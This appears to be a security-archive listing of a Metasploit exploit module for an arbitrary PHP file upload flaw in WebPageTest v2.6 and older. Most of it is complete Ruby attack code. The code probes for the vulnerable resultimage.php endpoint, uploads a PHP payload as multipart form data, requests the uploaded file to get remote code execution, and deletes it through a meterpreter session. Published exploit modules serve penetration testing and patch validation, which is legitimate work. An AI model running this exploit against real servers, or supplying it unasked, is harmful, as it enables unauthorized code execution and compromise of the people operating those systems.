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WebPageTest Arbitrary PHP File Upload

WebPageTest Arbitrary PHP File Upload
Posted Aug 1, 2012
Authored by dun, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in WebPageTest's Upload Feature. By default, the resultimage.php file does not verify the user-supplied item before saving it to disk, and then places this item in the web directory accessable by remote users. This flaw can be abused to gain remote code execution.

tags | exploit, remote, web, php, code execution
advisories | OSVDB-83822
MD5 | c1b226b0a2afb2c37bcc29968221e367

WebPageTest Arbitrary PHP File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "WebPageTest Arbitrary PHP File Upload",
'Description' => %q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.php file does not verify the user-supplied item before
saving it to disk, and then places this item in the web directory accessable by
remote users. This flaw can be abused to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
['EDB', '19790']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 13 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
], self.class)
end


def check
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

res1 = send_request_raw({'uri'=>"#{base}/index.php"})
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})

if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
res2 and res2.code == 200
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def on_new_session(cli)
if cli.type != "meterpreter"
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
cli.fs.file.rm(@target_path)
print_status("#{@target_path} removed")
end


def exploit
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname("#{target_uri.path}.")

p = payload.encoded
fname = "blah.php"
data = Rex::MIME::Message.new
data.add_part(
"<?php #{p} ?>", #Data is our payload
'multipart/form-data', #Content Type
nil, #Transfer Encoding
"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition
)

print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}/work/resultimage.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})

if not res
print_error("#{peer} - No response from host")
return
end

@target_path = "#{base}/results/#{fname}"
print_status("#{peer} - Requesting #{@target_path}")
res = send_request_cgi({'uri'=>@target_path})

handler

if res and res.code == 404
print_error("#{peer} - Payload failed to upload")
end
end
end

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